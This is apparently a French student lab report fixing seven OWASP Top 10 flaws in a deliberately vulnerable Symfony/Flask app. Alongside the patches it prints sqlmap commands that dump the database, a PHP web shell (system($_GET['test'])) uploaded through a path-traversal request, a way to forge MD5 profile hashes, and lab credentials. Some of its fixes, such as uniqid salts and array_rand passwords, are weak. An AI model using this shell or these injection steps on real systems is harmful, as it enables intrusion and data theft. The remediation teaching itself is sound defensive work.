# Sécurité des applications Web - Plankton Corp
## Introduction
**PlanktonCorp** est une entreprise bretonne renommée partout dans le monde pour ses découvertes de créatures sous-marines. Suite à un audit de sécurité, **10 vulnérabilités** ont pu être identifiées.
Le but de ce TP sera de les corriger pour rentre l'application plus sécurisée.
*(Ces 10 vulnérabilités correspondent au **TOP 10 OWASP**)*
## Vulnérabilité 1 - Mauvaise étanchéité de droits sur PUT et DELETE
> A01 Broken Access Control
Comme expliqué dans le rapport, il est possible d'éditer et de supprimer des créatures sans authentification préalable. Cette pratique doit être bannie, car non seulement n'importe qui peut supprimer le contenu, mais il peut surtout modifier le contenu et donc potentiellement réaliser des actions malveillantes si le formulaire est vulnérable à une XSS ou en injectant du code dans une image...
Regardons de plus près le code vulnérable:
`data/www/src/controller/SeaCreaturesController.php`
```php=
/**
* @Route("/seacreature/{id}/delete", name="delete_seacreature", methods={"DELETE"})
* @return Response
*/
public function delete_creature($id)
{
[...]
}
/**
* @Route("/seacreature/{id}/edit", name="edit_put_creature", methods={"PUT"})
* @return Response
*/
public function edit_put_creature($id, Request $request, FileUploader
$fileUploader)
{
[...]
}
```
Nous avons ici 2 fonctions/routes permettant respectivement de **supprimer** et **d'éditer** une créature. En revanche, nous n'avons aucun procédé permettant de prendre en compte une quelconque question de droit.
C'est pourquoi nous avons décidé d'implémenter un mécanisme d'annotation : `@IsGranted`
Ce dernier permet de restreindre l'accès à des routes via des rôles. L'utilisateur possédant le rôle adéquat pour donc accéder à ces routes.
Voici donc les morceaux de codes modifiés:
`data/www/src/controller/SeaCreaturesController.php`
```php=
/**
* @IsGranted("ROLE_USER")
* @Route("/seacreature/{id}/delete", name="delete_seacreature", methods={"DELETE"})
* @return Response
*/
public function delete_creature($id, ManagerRegistry $doctrine)
{
$api_creatures = new CallAPI();
$creature = $api_creatures->fetchOneCreature($id);
$creatures = $api_creatures->deleteOneCreature($id);
$response = new Response(json_encode(array('success' => 'true')));
$response->headers->set('Content-Type', 'application/json');
dump($creature);
$logger = new Logger($doctrine->getManager());
$logger->log_action_seacreature("SEA CREATURE DELETED", $creature['creature_name'] );
return $response;
}
```
```php=
/**
* @IsGranted("ROLE_USER")
* @Route("/seacreature/{id}/edit", name="edit_put_creature", methods={"PUT"})
* @return Response
*/
public function edit_put_creature($id, Request $request, FileUploader $fileUploader, ManagerRegistry $doctrine)
{
$api_creatures = new CallAPI();
$creature = $api_creatures->fetchOneCreature($id);
if(!$creature){
throw $this->createNotFoundException('This creature does not exist');
}
$_PUT = $this->_parsePut();
if (isset($_FILES['creature_file'])) {
$file = new UploadedFile( $_FILES['creature_file']['tmp_name'], $_FILES['creature_file']['name'], $_FILES['creature_file']['type'],null,true);
$creatureFileName = $fileUploader->upload($file, $_PUT['creature_file_path']);
$creatureFileName = $_PUT['creature_file_path'].$creatureFileName;
} else {
$creatureFileName = $creature['creature_image'];
}
$edit_creature = $api_creatures->editOneCreature($id, $_PUT['creature_name'], $_PUT['creature_description'], $creatureFileName, $_PUT['creature_depth']);
//return $this->render('seacreatures/seacreature_edit.html.twig', ['creature' => $creature, 'message' => 'You can edit your creature here']);
$logger = new Logger($doctrine->getManager());
$logger->log_action_seacreature("SEA CREATURE EDITED", $_PUT['creature_name']);
return $this->redirectToRoute('seacreatures', ['message' => 'Creature successfuly edited']);
}
```
*Source: https://symfony.com/bundles/SensioFrameworkExtraBundle/current/annotations/security.html#isgranted*
## Vulnérabilité 2 - Mauvaise protection contre la consultation d'autres profils
> A02 Cryptographic Failures
Nous retrouvons, ici, une vulnérabilité correspondant à une **"Cryptographic Failures"** de notre Top 10 OWASP.
Lors de la consultation de notre profil utilisateur, un hash de validation est utilisé comme dans l'exemple suivant:
http://localhost:5005/user/2?validation_hash=33652d37458666ae0b398ce70d234e48
Le problème ici est que le protocole utilisé est MD5. Or, nous savons tous que ce protocole est obsolète et donc très facilement cassable *(utilisation de CrackStation par exemple)* comme le montre le screen suivant.

De ce fait, nous avons maintenant le pattern utilisé pour générer ces mots hash. Ici, nous avons le hash en **MD5** de la chaîne **"userid" + id_user** *(1, 2, 3, etc)*.
Du moment que l'attaquant possède ce pattern, la partie est finie. En effet, celui-ci peut maintenant générer tous les autres hashs en suivant ce pattern et ainsi consulter n'importe quel profil utilisateur.
<br>
Le code impacté est le suivant.
`data/www/src/Controller/UserController.php`
```php=
[...]
/**
* @Route("/user/{id}", name="user_info")
* @return Response
*/
public function user_info(Request $request, ManagerRegistry $doctrine, $id)
{
$hash = $request->query->get('validation_hash');
if (empty($hash)){
return new Response("Wrong validation_hash, access denied", 401);
}
$user = $doctrine->getRepository(User::class)->find($id);
if ($hash !== $user->getHash()){
return new Response("Wrong validation_hash, access denied", 401);
}
return $this->render('user/user.html.twig', ['user' => $user]);
}
[...]
```
Ici, le programme appelle la fonction `getHash()` pour comparer le hash fourni par l'utilisateur avec le véritable hash calculé par notre programme.
Voici la fonction `getHash()`
`data/www/src/Entity/User.php`
```php=
public function getHash()
{
return md5($_ENV['user_validation_salt'].$this->getId());
}
```
Étudions cette fonction.
- `$_ENV['user_validation_salt']` fait référence au fichier `data/www/src/.env` et donc à la variable suivante : `user_validation_salt=userid`
- `getId()` fait référence à la fonction :
```php=
public function getId(): ?int
{
return $this->id;
}
```
- La variable `$id` est déclarée via le code suivant:
```php=
/**
* @ORM\Id
* @ORM\GeneratedValue
* @ORM\Column(type="integer")
*/
private $id;
```
Ainsi, nous remarquons bien que notre pattern est de la forme **MD5(userid+\<id\>)**
Nous allons maintenant patcher cette vulnérabilité.
Pour ce faire, nous allons utiliser une clé plus longue générée aléatoirement. Celle-ci remplacera la constante `user_validation_salt=userid`. Ajouté à cela, nous n'allons plus utiliser du MD5 mais SHA256 qui est un algorithme de hashage bien plus solide.
Comment faire pour ajouter ces modifications ?
Tout d'abord, nous allons ajouter une colonne **salt** dans notre base de données via le code suivant.
`data/www/src/Entity/User.php`
```php=
/**
* @ORM\Column(type="string")
*/
private $salt;
```
Par la suite, nous ajoutons un **constructeur**. Les classes qui possèdent une méthode constructeur appellent cette méthode à chaque création d'une nouvelle instance de l'objet, ce qui est intéressant pour toutes les initialisations dont l'objet a besoin avant d'être utilisé.
Ici, nous allons utiliser ceci pour déclarer un **Salt** unique à chaque utilisateur. Un exemple de Salt peut être `627b5c269fc777.89265049`.
Pour créer ce Salt, nous allons utiliser la fonction `uniqid()` avec l'attribut `more_entropy`. Lorsque nous passons à `true` cet attribut, `uniqid()` ajoutera une entropie "combined LCG" à la fin de la valeur retournée, ce qui augmente la probabilité de l'unicité du résultat.
`data/www/src/Entity/User.php`
```php=
public function __construct()
{
$this->salt = uniqid('',true);
}
public function getSalt(): ?string
{
return $this->salt;
}
```
Ajoutée à cela, la fonction `getSalt()` permettra de récupérer le Salt associé à l'utilisateur.
À ce stade, lorsqu'un utilisateur est créé, un salt déterminé aléatoirement est attribué à cet utilisateur et est stocké automatiquement dans la base de données *(Voir ci dessous)*.

Par la suite, reprenons la fonction `getHash()` et modifions-la.
```php=
/**
* Generates a unique hash from salt + user id
*/
public function getHash()
{
return hash("sha256",$this->getSalt().$this->getId());
}
```
Ici, nous passons du **MD5** au **SHA256**. De plus, nous allons utiliser le **Salt** déclaré plus haut.
Dès à présent, lors de la consultation de notre profil utilisateur, le hash de validation utilisé est le suivant:
http://localhost:5005/user/2?validation_hash=19d062085f5245c81f241894907a37f32f447f367ea0feb507dad9a7e83137fb
Nous ne pouvons, dès à présent, plus cracker le hash affiché dans l'URL comme nous pouvons le voir.

Cette vulnérabilité est désormais patchée. Pour résumer, nous avons ajouté une clé aléatoire unique à chaque utilisateur via `uniqid()`. De plus, nous sommes passés à l'algorithme de hashage `SHA256`.
## Vulnérabilité 3 - injection SQL dans l'id d'une créature
> A03 Injection
La vulnérabilité étudiée ici est une injection SQL dans le champ id d'une créature.
En effet, nous pouvons actuellement accéder à la base de données entière du site grâce à de simples injections SQL. Ici, le but est d'injecter dans une requête SQL des morceaux de codes non filtrés. **SQLMap** permet notamment de les réaliser sans difficulté.
Par exemple, la commande suivante nous permet de visualiser les tables de la database:
```bash=
sqlmap --tables --url=http://localhost:5005/seacreature/2
```

Nous pouvons ensuite récupérer le contenu d'une table en particulier:
```bash=
sqlmap -D symfony --dump --url=http://localhost:5005/seacreature/2
```

<br>
Pour y remédier, il suffit de réaliser des **requêtes préparées** lors de l'exécution de la requête depuis l'api flask.
`data/flask/app.py`
Code **AVANT**:
```python=
@app.route('/seacreature/<creature_id>')
def sea_creature(creature_id):
connection = make_connection()
mycursor = connection.cursor()
sql = "SELECT id, creature_name, creature_description, creature_image, creature_depth FROM creature WHERE id=" + creature_id
mycursor.execute(sql)
columns = mycursor.description
result = [{columns[index][0]:column for index, column in enumerate(value)} for value in mycursor.fetchall()]
connection.close()
return json.dumps(result)
@app.route('/seacreature/<creature_id>/delete')
def delete_sea_creature(creature_id):
connection = make_connection()
mycursor = connection.cursor()
sql = "DELETE FROM creature WHERE id=" + creature_id
mycursor.execute(sql)
connection.commit()
connection.close()
return 'success'
```
Code **APRES**:
```python=
@app.route('/seacreature/<creature_id>')
def sea_creature(creature_id):
connection = make_connection()
mycursor = connection.cursor()
sql = "SELECT id, creature_name, creature_description, creature_image, creature_depth FROM creature WHERE id=%s"
data=(creature_id)
mycursor.execute(sql, data)
columns = mycursor.description
result = [{columns[index][0]:column for index, column in enumerate(value)} for value in mycursor.fetchall()]
connection.close()
return json.dumps(result)
@app.route('/seacreature/<creature_id>/delete')
def delete_sea_creature(creature_id):
connection = make_connection()
mycursor = connection.cursor()
sql = "DELETE FROM creature WHERE id=%s"
data=(creature_id)
mycursor.execute(sql, data)
connection.commit()
connection.close()
return 'success'
```
Ensuite, nous **cloisonnons les accès** aux différentes bases afin que `mark` ne puisse plus accéder à la base `symfony`.
`build/mysql/sql-scripts/dump.sql`
Code **AVANT**:
```sql=
GRANT ALL PRIVILEGES ON symfony.* TO 'mark'@'%' IDENTIFIED BY
'Tk3lPougqvUasAo8VGpPLaN2*';
GRANT ALL PRIVILEGES ON db_public.* TO 'mark'@'%' IDENTIFIED BY
'Tk3lPougqvUasAo8VGpPLaN2*';
```
Code **APRES**:
```sql=
GRANT ALL PRIVILEGES ON symfony.* TO 'toto'@'%' IDENTIFIED BY 'CXtoxs9shXC5r8q';
GRANT ALL PRIVILEGES ON db_public.* TO 'mark'@'%' IDENTIFIED BY 'Tk3lPougqvUasAo8VGpPLaN2*';
```
Pour finir, on modifie le `.env` afin que l'application utilise le nouvel utilisateur.
`data/www/src/.env`
Code **AVANT**:
```env
DATABASE_URL="mysql://mark:Tk3lPougqvUasAo8VGpPLaN2*@chall-mysql:3306/symfony?serverVersion=5.6",
```
Code **APRES**:
```env
DATABASE_URL="mysql://toto:CXtoxs9shXC5r8q@chall-mysql:3306/symfony?serverVersion=5.6",
```
Ajouté à cela, il est possible que le docker ne puisse pas créer les utilisateurs. En effet, le temps attribué à cette tâche n'est pas assez long. Pour pouvoir changer cela, nous devons modifier la ligne suivante:
`docker-compose.yml`
**AVANT**:
```yaml=
command: sh -c "sh -c 'sleep 10 && cd /var/www/html && /usr/local/bin/php bin/console make:migration && php bin/console doctrine:migrations:migrate && php bin/console doctrine:fixtures:load -q &' && exec php-fpm -F -R"
```
**APRES**:
```yaml=
command: sh -c "sh -c 'sleep 20 && cd /var/www/html && /usr/local/bin/php bin/console make:migration && php bin/console doctrine:migrations:migrate && php bin/console doctrine:fixtures:load -q &' && exec php-fpm -F -R"
```
Nous pouvons maintenant rebuild le docker pour sauvegarder les modifications et patcher la vulnérabilité.
Si nous relançons SQLMap, nous observons que la vulnérabilité ne peut plus être exploité:
```bash=
┌──(kali㉿kali)-[~/Personal/ENSIBS/Solution Web]
└─$ sqlmap --tables --url=http://localhost:5005/seacreature/2 --flush-session
[*] starting @ 03:59:20 /2022-05-16/
[03:59:20] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]
[03:59:21] [INFO] flushing session file
[03:59:21] [INFO] testing connection to the target URL
[03:59:22] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
[03:59:22] [INFO] checking if the target is protected by some kind of WAF/IPS
[03:59:23] [INFO] testing if the target URL content is stable
[03:59:24] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[03:59:25] [INFO] testing if URI parameter '#1*' is dynamic
[03:59:26] [WARNING] URI parameter '#1*' does not appear to be dynamic
[03:59:27] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[03:59:28] [INFO] testing for SQL injection on URI parameter '#1*'
[03:59:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:59:29] [WARNING] reflective value(s) found and filtering out
[03:59:36] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[03:59:38] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[03:59:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:59:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[03:59:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[03:59:45] [INFO] testing 'Generic inline queries'
[03:59:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[03:59:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[03:59:48] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[03:59:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[03:59:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:59:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[03:59:53] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[03:59:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[04:00:00] [WARNING] URI parameter '#1*' does not seem to be injectable
[04:00:00] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. Please retry with the switch '--text-only' (along with --technique=BU) as this case looks like a perfect candidate (low textual content along with inability of comparison engine to detect at least one dynamic parameter). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[04:00:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 86 times, 405 (Method Not Allowed) - 1 times
[*] ending @ 04:00:00 /2022-05-16/
```
## Vulnérabilité 4 - Mauvaise gestion de l'upload d'image de créature
> A04 Insecure Design
Concernant l'upload des images, le rapport stipule que l'utilisateur peut contrôler le chemin d'upload ainsi qu'ajouter des fichiers potentiellement malveillants.
La vulnérabilité se trouve sur la page `http://localhost:5005/seacreature/2/edit`
Un utilisateur peut ajouter une image pour illustrer la créature en question. Or, ici, nous n'avons aucune sécurité ce qui permet d'ajouter des fichiers autres que des images. Ici, nous allons ajouter un fichier **PHP**. Celui-ci renferme un code faisant office de controller Symfony malveillant.
`AaaController.php`
```php=
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\HttpKernel\KernelInterface;
use Symfony\Component\Console\Input\ArrayInput;
use Symfony\Component\Console\Output\BufferedOutput;
use Symfony\Component\Debug\Debug;
use Symfony\Component\Routing\Annotation\Route;
class AaaController extends AbstractController
{
/**
* @Route("/test", name="test")
* @return Response
*/
public function index()
{
$test = system($_GET['test']);
var_dump($test);
die();
return $this->render('test.html.twig', []);
}
}
```
Nous pouvons maintenant l'ajouter via la page web puis intercepter la requête via **Burp** par exemple.
```yaml=
POST /seacreatures/add HTTP/1.1
Host: localhost:5005
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------163497226424976715633243777051
Content-Length: 1559
Origin: http://localhost:5005
Connection: close
Referer: http://localhost:5005/seacreatures/add
Cookie: username-localhost-8888="2|1:0|10:1653049029|23:username-localhost-8888|44:MzU1YmY1MWIwYTRkNDE1Njg5MGFjYmE4NmI5NzE2ZGY=|1e3c80a6858ec33668ff04019d918ea34a9ff39b9fbc1290e342c13c0f0f785d"; _xsrf=2|5a5bcf2d|6dc96cdd65666adbcd67c6261b4e8b96|1652429600; PHPSESSID=b22ea2e18cd3ec990c0968f7082779a1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------163497226424976715633243777051
Content-Disposition: form-data; name="creature_name"
-----------------------------163497226424976715633243777051
Content-Disposition: form-data; name="creature_description"
-----------------------------163497226424976715633243777051
Content-Disposition: form-data; name="creature_file"; filename="AaaController.php"
Content-Type: application/x-php
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Bundle\FrameworkBundle\Console\Application;
use Symfony\Component\HttpKernel\KernelInterface;
use Symfony\Component\Console\Input\ArrayInput;
use Symfony\Component\Console\Output\BufferedOutput;
use Symfony\Component\Debug\Debug;
use Symfony\Component\Routing\Annotation\Route;
class AaaController extends AbstractController
{
/**
* @Route("/test", name="test")
* @return Response
*/
public function index()
{
$test = system($_GET['test']);
var_dump($test);
die();
return $this->render('test.html.twig', []);
}
}
-----------------------------163497226424976715633243777051
Content-Disposition: form-data; name="creature_file_path"
static/images/upload/
-----------------------------163497226424976715633243777051
Content-Disposition: form-data; name="creature_depth"
1400
-----------------------------163497226424976715633243777051--
```
Nous pouvons apercevoir le code php que nous avons intégré. Ensuite, vers la fin de la requête, nous pouvons remarquer le path utilisé pour enregistrer l'image. Ici l'image est enregistrée dans `static/images/upload/`. Pour ajouter notre Controller au bon endroit, nous allons simplement modifier cette valeur et la remplacer par `../src/Controller/`.
Après avoir relancé la requête **modifiée**, nous nous apercevons que le fichier a bien été enregistré.

Ainsi, en lançant un simple curl, nous remarquons que le Controller est bien accessible.

Pour remédier à cette vulnérabilité, nous avons défini un répertoire fixe et sécurisé. De plus le nom du fichier est vérifié via la méthode **slugger** et un **uniqid** est ajouté.
**Code Avant:**
```php=
public function upload(UploadedFile $file, $path)
{
$fileName = $file->getClientOriginalName();
try {
$file->move($path, $fileName);
} catch (FileException $e) {
// ... handle exception if something happens during file upload
}
return $fileName;
}
```
**Code Après:**
```php=
public function upload(UploadedFile $file)
{
$path = "/var/www/html/public/static/images/upload";
$originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
$safeFilename = $this->slugger->slug($originalFilename);
$fileName = $safeFilename.'-'.uniqid();
try {
$file->move($path, $fileName);
} catch (FileException $e) {
// ... handle exception if something happens during file upload
}
return $fileName;
}
```
**Dès à présent, la vulnérabilité est impossible à exploiter.**
## Vulnérabilité 5 - Mot de passe par défaut à la création d'utilisateurs
> A05 Security Misconfiguration
Un mot de passe par défaut est appliqué à chaque compte créé sur l'application. Celui-ci est stocké dans le fichier `data/www/src/.env` via la variable `default_user_password=PlanktonCorp2022!`, et est appelé par la fonction suivante:
`data/www/src/Controller/AdminController.php`
```php=
[...]
public function user_add(Request $request, UserPasswordHasherInterface
$passwordHasher, ManagerRegistry $doctrine): Response
{
[...]
if ($form->isSubmitted() && $form->isValid()) {
// $form->getData() holds the submitted values
// but, the original `$user` variable has also been updated
$user = $form->getData();
// Set a default password for users defined in .env
$plaintextPassword = $_ENV['default_user_password'];
// hash the password (based on the security.yaml config for the $user class)
$hashedPassword = $passwordHasher->hashPassword(
$user,
$plaintextPassword
);
$user->setPassword($hashedPassword);
$entityManager->persist($user);
// actually executes the queries (i.e. the INSERT query)
$entityManager->flush();
return $this->redirectToRoute('user_management');
}
[...]
}
```
Ici, c'est le code suivant qui appelle le mot de passe par défaut:
`data/www/src/Controller/AdminController.php`
```php=
[...]
$plaintextPassword = $_ENV['default_user_password'];
[...]
```
Nous allons maintenant corriger cette vulnérabilité en créant un mot de passe aléatoire à chaque création d'utilisateurs.
Pour ce faire, commençons par créer la fonction qui va générer le mot de passe:
`data/www/src/Controller/AdminController.php`
```php=
public function randomPassword($len = 8) {
//enforce min length 8
if($len < 8)
$len = 8;
//define character libraries - remove ambiguous characters like iIl|1 0oO
$sets = array();
$sets[] = 'ABCDEFGHJKLMNPQRSTUVWXYZ';
$sets[] = 'abcdefghjkmnpqrstuvwxyz';
$sets[] = '23456789';
$sets[] = '~!@#$%^&*(){}[],./?';
$password = '';
//append a character from each set - gets first 4 characters
foreach ($sets as $set) {
$password .= $set[array_rand(str_split($set))];
}
//use all characters to fill up to $len
while(strlen($password) < $len) {
//get a random set
$randomSet = $sets[array_rand($sets)];
//add a random char from the random set
$password .= $randomSet[array_rand(str_split($randomSet))];
}
//shuffle the password string before returning!
return str_shuffle($password);
}
```
Maintenant, nous pouvons appeler cette fonction pour générer le mot de passe.
`data/www/src/Controller/AdminController.php`
```php=
[...]
// Set a default password for users defined in .env
$plaintextPassword = $this->randomPassword(16);
[...]
```
Ainsi, un mot de passe de 16 Octets sera créé aléatoirement. *(Par exemple: `3a859812bd22694588d85b906b90ea72`)*
Nous pouvons l'afficher via la fonction `dump()` et le panel debug de **Symfony**.

Maintenant que nous avons créé ce mot de passe, nous devons envoyer ce mot de passe à l'administrateur. Pour ce faire, plusieurs solutions existent.
### Solution 1 - Affichage brut à l'écran
Une première solution serait d'afficher ce mot de passe à l'écran. Pour ce faire, commençons par envoyer le mot de passe:
`data/www/src/Controller/AdminController.php`
**Avant:**
```php=
return $this->redirectToRoute('user_management');
```
**Après:**
```php=
return $this->redirectToRoute('user_management', ["message" => $plaintextPassword]);
```
Dans ce cas, nous voulons remplacer le texte d'explication par le mot de passe seulement si nous créons un utilisateur.
`data/www/src/Controller/AdminController.php`
```php=
/**
* @Route("/admin/users", name="user_management")
* @return Response
*/
public function user_management(Request $request, ManagerRegistry $doctrine): Response
{
$new_message = $request->query->get('message');
if ($new_message == ""){
$send_message = "Here is a list of all the users allowed to access this application";
}else{
$send_message="Le mot de passe est: ".$new_message;
}
$users = $doctrine->getRepository(User::class)->findAll();
return $this->render('admin/users.html.twig', ['users' => $users, 'message' => $send_message]);
}
```
Voici le résultat:

<br>
**Cependant, nous rencontrons un problème majeur avec cette solution.**
En effet, le mot de passe est envoyé directement en clair dans la requête en tant que **GET Parametre**.
L'URL est donc de la forme suivante:
http://localhost:5005/admin/users?message=%23aC8hHXzQ%7D6%29/?ZP
**Ceci n'est donc pas sécurisé.**
### Solution 2
La meilleure solution pour récupérer ce mot de passe est de l'envoyer par mail.
Avec le service mailer de symfony, il est assez facile de passer par un relai smtp ou par un serveur smtp auto-hébergé.
*Source: https://symfony.com/doc/current/mailer.html*
## Vulnérabilité 6 - Version de TCPDF vulnérable
> A06 Vulnerable and outdated components
Notre site Web possède le package **TCPDF**. **TCPDF** est une classe PHP, d'utilisation répandue, permettant de créer des documents PDF.
Cependant, nous remarquons que la version de ce paquet est `"tecnickcom/tcpdf": "6.2.21"` *(Visible dans `build/php/composer.json`)*.
Pour vérifier si celle-ci est vulnérable, exécutons un *shell* dans le docker **chall-php**. *(`docker exec -ti chall-php sh`)*.
Par la suite, nous allons utiliser l'outil **Local PHP Security Checker**. C'est un outil en ligne de commande qui vérifie si notre application PHP dépend de packages PHP avec des vulnérabilités de sécurité connues.
Commençons par le cloner via GitHub:
```bash=
/var/www/html $ wget https://github.com/fabpot/local-php-security-checker/releases/download/v1.2.0/local-php-security-checker_1.2.0_linux_amd64
```
Nous pouvons ensuite l'exécuter:
```bash=
/var/www/html $ chmod +x local-php-security-checker_1.2.0_linux_amd64
/var/www/html $ ./local-php-security-checker_1.2.0_linux_amd64 composer.lock
Symfony Security Check Report
=============================
1 package has known vulnerabilities.
tecnickcom/tcpdf (6.2.21)
-------------------------
* [CVE-2018-17057][]: Attackers can trigger deserialization of arbitrary data via the phar:// wrapper.
[CVE-2018-17057]: https://github.com/tecnickcom/TCPDF/commit/1861e33fe05f653b67d070f7c106463e7a5c26ed
Note that this checker can only detect vulnerabilities that are referenced in the security advisories database.
Execute this command regularly to check the newly discovered vulnerabilities.
```
**Nous remarquons bien que le package est vulnérable.**
Pour patcher cette vulnérabilité, nous allons simplement passer à une version plus récente *(`v6.2.22` par exemple)*.
Voici la ligne à changer:
`build/php/composer.json`
**AVANT:**
```json=
[...]
"tecnickcom/tcpdf": "6.2.21",
[...]
```
**APRES:**
```json=
[...]
"tecnickcom/tcpdf": "6.2.22",
[...]
```
Une fois le docker rebuild (`docker-compose build`), la version a été mise à jour et la vulnérabilité a disparu.
```bash=
/var/www/html $ ./local-php-security-checker_1.2.0_linux_amd64 composer.lock
Symfony Security Check Report
=============================
No packages have known vulnerabilities.
Note that this checker can only detect vulnerabilities that are referenced in the security advisories database.
Execute this command regularly to check the newly discovered vulnerabilities.
```
## Vulnérabilité 7 - Pas de vérification sur la complexité du mot de passe
> A07 Identification And Authentification Failures
Actuellement, un utilisateur est en mesure de changer son mot de passe sans y appliquer une quelconque complexité ce qui n'est absolument pas sécurisé.
Nous allons donc mettre en place une sécurité **côté client** et **côté serveur** permettant de vérifier la complexité de celui-ci.
### Côté Client
Commençons par le **côté client**.
Pour ce faire, nous utiliserons les **regex**.
Pour le moment, notre code **côté client** est le suivant:
`data/www/templates/user/user.html.twig`
```htmlembedded=
<input placeholder="newpassword" type="password" id="newpassword"
name="_newpassword"/>
```
Ajoutons maintenant la regex `^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[a-zA-Z])(?=.*[\W]).{8,}$` via le paramètre `pattern=""`.
```htmlembedded=
<input placeholder="newpassword" type="password" id="newpassword" name="_newpassword" pattern="^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[a-zA-Z])(?=.*[\W]).{8,}$"/>
```
Cette regex rend un mot de passe conforme seulement s'il comprend:
- Au moins un chiffre `[0-9]`
- Au moins un caractère minuscule `[a-z]`
- Au moins un caractère majuscule `[A-Z]`
- Au moins un caractère spécial / non-alphanumeric `[\W]`
- Au moins 8 caractères `{8,}`
Dès à présent, si nous voulons mettre un mot de passe non conforme, un message d'erreur est affiché comme nous pouvons le voir sur le screen suivant:

### Côté Serveur
Maintenant, intéressons-nous au **côté serveur**.
Actuellement, notre code permettant de récupérer et de gérer le mot de passe est le suivant:
`data/www/src/Controller/UserController.php`
```php=
/**
* @Route("/user/{id}/setpassword", name="user_set_password")
* @return Response
*/
public function user_set_password(Request $request, UserPasswordHasherInterface $passwordHasher, ManagerRegistry $doctrine, $id)
{
//Get the doctrine manager
$user = $doctrine->getRepository(User::class)->find($id);
$isPasswordCorrect = $passwordHasher->isPasswordValid($user, $request->request->get('_oldpassword'));
$plaintextPassword = $request->request->get('_newpassword');
// hash the password (based on the security.yaml config for the $user class)
$hashedPassword = $passwordHasher->hashPassword(
$user,
$plaintextPassword
);
if($isPasswordCorrect){
$user->setPassword($hashedPassword);
$entityManager = $doctrine->getManager();
$entityManager->persist($user);
$entityManager->flush();
$logger = new Logger($doctrine->getManager());
$logger->log_action_user("USER PASSWORD CHANGED", $user);
return $this->redirectToRoute('main');
}
return $this->redirectToRoute('user_info', ['id' => $id]);
}
```
Le mot de passe est récupéré et stocké dans la variable `$plaintextPassword`. En revanche, celle-ci n'est pas vérifiée.
Pour pouvoir gérer la complexité du mot de passe, utilisons la fonctionnalité `preg_match()` de php pour vérifier que les caractères en question sont présents dans la chaîne.
Voici donc le code de remplacement:
```php=
/**
* @Route("/user/{id}/setpassword", name="user_set_password")
* @return Response
*/
public function user_set_password(Request $request, UserPasswordHasherInterface $passwordHasher, ManagerRegistry $doctrine, $id)
{
//Get the doctrine manager
$user = $doctrine->getRepository(User::class)->find($id);
$isPasswordCorrect = $passwordHasher->isPasswordValid($user, $request->request->get('_oldpassword'));
$plaintextPassword = $request->request->get('_newpassword');
// Validate password strength
$uppercase = preg_match('@[A-Z]@', $plaintextPassword);
$lowercase = preg_match('@[a-z]@', $plaintextPassword);
$number = preg_match('@[0-9]@', $plaintextPassword);
$specialChars = preg_match('@[\W]@', $plaintextPassword);
if(!$uppercase || !$lowercase || !$number || !$specialChars || strlen($plaintextPassword) < 8) {
return new Response("Le mot de passe n'est pas sécurisé. Veuillez suivre les conditions suivantes:
<br>- Au moins un chiffre
<br>- Au moins un caractère minuscule
<br>- Au moins un caractère majuscule
<br>- Au moins un caractère spécial / non-alphanumeric
<br>- Au moins 8 caractères", 401);
}
// hash the password (based on the security.yaml config for the $user class)
$hashedPassword = $passwordHasher->hashPassword(
$user,
$plaintextPassword
);
if($isPasswordCorrect){
$user->setPassword($hashedPassword);
$entityManager = $doctrine->getManager();
$entityManager->persist($user);
$entityManager->flush();
$logger = new Logger($doctrine->getManager());
$logger->log_action_user("USER PASSWORD CHANGED", $user);
return $this->redirectToRoute('main');
}
return $this->redirectToRoute('user_info', ['id' => $id]);
}
```
